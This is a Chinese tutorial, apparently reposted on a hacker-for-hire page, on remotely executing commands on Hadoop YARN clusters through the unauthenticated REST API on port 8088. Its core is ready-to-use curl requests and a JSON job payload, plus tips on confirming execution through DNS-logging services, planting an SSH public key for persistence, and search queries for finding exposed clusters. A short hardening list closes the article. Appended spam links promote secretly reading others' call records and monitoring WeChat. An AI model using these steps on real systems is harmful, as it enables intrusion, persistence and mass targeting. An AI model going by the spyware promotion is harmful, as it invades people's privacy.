渗透技巧-Hadoop命令执行 - FreeBuf *** 安全行业门户

访客4年前关于黑客接单935

Hadoop介绍和漏洞原理

Hadoop是一个由Apache的分布式系统基础架构,用户可开发分布式程序,充分利用集群的威力进行高速运算和存储,实现了一个分布式文件系统(Hadoop Distributed File System)。

其中HDFS组件有高容错性的特点,并且部署在低廉的(low-cost)硬件上即可提供高吞吐量(high throughput)来访问应用程序的数据。

Apache Yarn(Yet Another Resource Negotiator的缩写)是hadoop集群资源管理器系统,Yarn从hadoop 2引入,最初是为了改善MapReduce的实现,但是它具有通用性,同样执行其他分布式计算模式。

ApplicationMaster负责与scheduler协商合适的container,跟踪应用程序的状态,以及监控它们的进度,ApplicationMaster是协调集群中应用程序执行的进程。每个应用程序都有自己的ApplicationMaster,负责与ResourceManager协商资源(container)和NodeManager协同工作来执行和监控任务 。

当一个ApplicationMaster启动后,会周期性的向resourcemanager发送心跳报告来确认其健康和所需的资源情况,在建好的需求模型中,ApplicationMaster在发往resourcemanager中的心跳信息中封装偏好和限制,在随后的心跳中,ApplicationMaster会对收到集群中特定节点上绑定了一定的资源的container的租约,根据Resourcemanager发来的container,ApplicationMaster可以更新它的执行计划以适应资源不足或者过剩,container可以动态的分配和释放资源。

与job相关的命令:

1.查看 Job 信息:hadoop job -list 
2.杀掉 Job: hadoop job –kill job_id
3.作业的更多细节: hadoop job -history all output-dir
4.杀死任务。被杀死的任务不会不利于失败尝试:hadoop jab -kill-task <task-id>
5.使任务失败。被失败的任务会对失败尝试不利:hadoop job -fail-task <task-id>

YARN命令:

YARN命令是调用bin/yarn脚本文件,如果运行yarn脚本没有带任何参数,则会打印yarn所有命令的描述。

使用: yarn [--config confdir] COMMAND [--loglevel loglevel] [GENERIC_OPTIONS] [COMMAND_OPTIONS]
?
application使用: yarn application [options]

运行jar文件

用户可以将写好的YARN代码打包成jar文件,用这个命令去运行它:

yarn jar <jar>[mainClass] args...


RCE实现

使用ROOT权限启动的Hadoop服务可根据在服务器8088端口接收用户提交的POST数据,根据其中参数执行相关job,具体实现如下:

8088端口的Applications manager:

1.**申请新的application,直接通过curl进行POST请求:**

curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'

返回内容类似于:

 

2.构造并提交任务

构造json文件1.json,内容如下,其中application-id对应上面得到的id,命令内容为尝试在/var/tmp目录下创建test_1文件,内容也为111:

{ 
"am-container-spec":{
"commands":{
"command":"echo '111' >> /var/tmp/test_1"
}
},
"application-id":"application_1527144634877_20465",
"application-name":"test",
"application-type":"YARN"
}

然后直接使用curl发送数据:

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件,在8088端口Web界面可看到相关信息:

技巧:

1可配合ceye、dnslog测试命令执行结果,或在/home/user/.ssh/authorized_keys中写入公钥。

2? 搜索开放服务:title="All Applications"

或者port=50070

但此方式有三点限制:

1是服务需管理员权限启动,执行命令也是管理员权限执行,普通用户五相关命令权限只会有失败记录,命令最终执行失败,留下难以删除的攻击记录。

2是Hadoop的8088管理端口若使用了权限认证,会提示

AuthorizationException:"message":"Unable to obtain user name, user not authenticated。

3是master+slave节点数大于等于2,job任务会根据hadoop分布式机制提交到任一台节点处理,目前笔者还未找到指定namenode的 *** 。



防护建议

1.建议项目拥有者将暴露在公网的服务端口(8040,8042,8088,50060,50070等)屏蔽掉,或做白名单访问处理。

2.对Hadoop web Manager服务(8088)做访问身份认证处理,对接收的数据包进行认证。

3.修改默认端口,防止端口服务被批量利用。


相关文章

seo快速排名技巧有哪些(百度seo排名优化技巧分

seo快速排名技巧有哪些(百度seo排名优化技巧分

网站SEO标题在搜索引擎优化中,是极其重要的存在。它甚至决定了网站排名的速度,决定了网站排名的位置,决定了我们抓取的用户类型。下面就壹壹汇聚网络推广服务小编给大家培训一下标题,教你们如何写出,快速排名...

荷花作文600(夏日的荷塘)

夏日的荷花塘,是一幅富有诗意的画轴,是一个畅快玩耍的游乐园。 翠绿的菏叶一望无际拥拥堵挤,遮满了一个半荷花塘,仿佛一望无边翠绿的深海,一眼都望不上边,而那一个个浅绿色的小菏叶,又仿佛一把全文莫然seo...

免费黑客帝国2完整版_怎么和男朋友手机同步

7月13日信息,经历了2年半的发展,如今学习型组织问答社区知乎问答日活跃性客户早已做到60万,而月活跃性客户早已做到1000万。2020年稍早,知乎问答还发布了新闻媒体类运用知乎日报,将小区中有使...

笔记本电脑电池保养

  尽管笔记本电脑是有电源线插头的,可是大家最常常得用的便是它的充电电池了。看上去很美,笔记本电脑都能够关机2-3个钟头,可实际终归是惨忍的,在未到你充分准备的情况下,电就没有了。那如何维护保养笔记本...

偷查别人手机通话记录如何查别人的通话记录

偷查别人手机通话记录如何查别人的通话记录国内财务软件市场上,用友、金碟、易飞几款ERP软件呈三足鼎力之势,下面我们就针对这三款软件做一评测,供大家学习时参考。 一、用友U8 在用友多年财务软件的开...

微信同步监控是真的吗(网上买的微信同步软件是真的吗)

在这个信息技术飞速发展的时代,主要的手机制造商纷纷出现在市场上,争夺市场份额。华为、小米、欧宝和其他不同的手机品牌更为人熟知。 各种手机品牌本身很容易让消费者从中选择,更不用说这些品牌平均每六个月发布...